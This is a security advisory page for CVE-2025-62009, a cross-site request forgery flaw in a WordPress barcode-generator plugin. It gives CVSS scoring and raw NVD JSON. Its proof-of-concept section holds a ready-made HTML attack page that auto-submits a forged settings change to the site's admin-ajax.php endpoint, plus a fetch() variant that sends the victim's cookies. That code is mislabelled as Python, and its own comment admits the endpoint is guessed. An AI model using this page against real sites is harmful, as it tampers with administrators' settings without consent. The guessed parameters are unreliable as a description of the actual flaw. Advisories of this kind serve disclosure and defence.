Security Vulnerability Report
中文
CVE-2025-62009 CVSS 4.3 MEDIUM

CVE-2025-62009

Published: 2025-10-22 15:16:03
Last Modified: 2026-04-27 17:16:29

Description

Cross-Site Request Forgery (CSRF) vulnerability in Dmitry V. (CEO of "UKR Solution") UPC/EAN/GTIN Code Generator upc-ean-barcode-generator allows Cross Site Request Forgery.This issue affects UPC/EAN/GTIN Code Generator: from n/a through <= 2.0.2.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

UPC/EAN/GTIN Code Generator <= 2.0.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CSRF PoC for CVE-2025-62009 --> <!-- This PoC demonstrates the CSRF vulnerability in UPC/EAN/GTIN Code Generator plugin --> <!-- Target: WordPress site with upc-ean-barcode-generator plugin <= 2.0.2 --> <!DOCTYPE html> <html> <head> <title>CSRF PoC - CVE-2025-62009</title> </head> <body> <h1>CSRF PoC for CVE-2025-62009</h1> <p>UPC/EAN/GTIN Code Generator Plugin <= 2.0.2</p> <!-- Auto-submit form targeting the plugin's admin-ajax.php endpoint --> <form id="csrfForm" action="http://target-site.com/wp-admin/admin-ajax.php" method="POST"> <!-- Plugin's action parameter - adjust based on actual vulnerable endpoint --> <input type="hidden" name="action" value="upc_ean_save_settings"> <!-- CSRF vulnerable parameters --> <input type="hidden" name="upc_ean_code_type" value="UPC-A"> <input type="hidden" name="upc_ean_custom_value" value="MALICIOUS123"> <input type="hidden" name="nonce" value=""> <!-- No nonce validation --> </form> <script> // Auto-submit form when page loads document.getElementById('csrfForm').submit(); console.log('CSRF request sent'); </script> <!-- Alternative: Fetch-based attack --> <script> fetch('http://target-site.com/wp-admin/admin-ajax.php', { method: 'POST', headers: {'Content-Type': 'application/x-www-form-urlencoded'}, body: 'action=upc_ean_save_settings&upc_ean_code_type=UPC-A&upc_ean_custom_value=ATTACK', credentials: 'include' }).then(r => r.text()).then(console.log); </script> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62009", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:16:02.780", "lastModified": "2026-04-27T17:16:29.453", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross-Site Request Forgery (CSRF) vulnerability in Dmitry V. (CEO of \"UKR Solution\") UPC/EAN/GTIN Code Generator upc-ean-barcode-generator allows Cross Site Request Forgery.This issue affects UPC/EAN/GTIN Code Generator: from n/a through <= 2.0.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/upc-ean-barcode-generator/vulnerability/wordpress-upc-ean-gtin-code-generator-plugin-2-0-2-cross-site-request-forgery-csrf-vulnerability?_s_id=cve", "source": "[email protected]"}]}}